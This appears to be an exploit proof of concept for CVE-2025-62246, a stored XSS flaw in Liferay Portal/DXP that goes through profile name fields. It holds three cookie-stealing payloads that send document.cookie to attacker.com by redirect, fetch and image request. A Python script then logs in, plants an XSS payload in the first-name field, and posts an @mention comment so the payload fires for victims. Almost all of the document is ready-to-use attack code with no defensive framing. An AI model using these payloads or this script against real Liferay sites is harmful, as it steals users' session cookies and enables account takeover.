CVE-2025-62246 Liferay Portal/DXP 存储型XSS漏洞

<!-- CVE-2025-62246 - Liferay Portal/DXP Stored XSS via User Name Fields --> <!-- Attacker modifies their profile name fields with malicious payloads --> <!-- Step 1: Set malicious payload in user profile name fields --> <!-- First Name payload example --> <img src=x onerror="alert('XSS via First Name');document.location='https://attacker.com/steal?c='+document.cookie"> <!-- Middle Name payload example --> <svg/onload="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Last Name payload example --> <script>new Image().src='https://attacker.com/x?'+document.cookie;</script> <!-- Step 2: Trigger the XSS by mentioning the malicious user --> <!-- In a blog comment, wiki page, or message board, use @mention to reference the attacker --> <!-- Example: @[userId] or @username in any widget that supports mentions --> <!-- Step 3: When victim views the page containing the mention, XSS fires --> <!-- The malicious code executes in the victim's browser context --> <!-- Automated exploitation example using Python requests --> import requests TARGET_URL = "https://liferay.example.com" USERNAME = "attacker" PASSWORD = "password123" session = requests.Session() # Login login_data = { "_com_liferay_login_web_portlet_LoginPortlet_formDate": "", "_com_liferay_login_web_portlet_LoginPortlet_saveLastPath": "false", "_com_liferay_login_web_portlet_LoginPortlet_redirect": "", "_com_liferay_login_web_portlet_LoginPortlet_doActionAfterLogin": "false", "_com_liferay_login_web_portlet_LoginPortlet_login": USERNAME, "_com_liferay_login_web_portlet_LoginPortlet_password": PASSWORD, "p_auth": "" } session.post(f"{TARGET_URL}/web/guest/home", data=login_data) # Update profile with XSS payload in name fields profile_data = { "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_mvcPath": "/users_admin/edit_user.jsp", "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_firstName": "<img src=x onerror=alert(1)>", "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_middleName": "", "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_lastName": "Malicious" } session.post(f"{TARGET_URL}/group/control_panel/manage", data=profile_data) # Post a comment with @mention to trigger the XSS comment_data = { "_com_liferay_message_boards_web_portlet_MBPortlet_cmd": "addMessage", "_com_liferay_message_boards_web_portlet_MBPortlet_inputSubject": "Hello", "_com_liferay_message_boards_web_portlet_MBPortlet_inputBody": "Hey @attacker check this out!", "_com_liferay_message_boards_web_portlet_MBPortlet_postReply": "true" } session.post(f"{TARGET_URL}/message-boards", data=comment_data)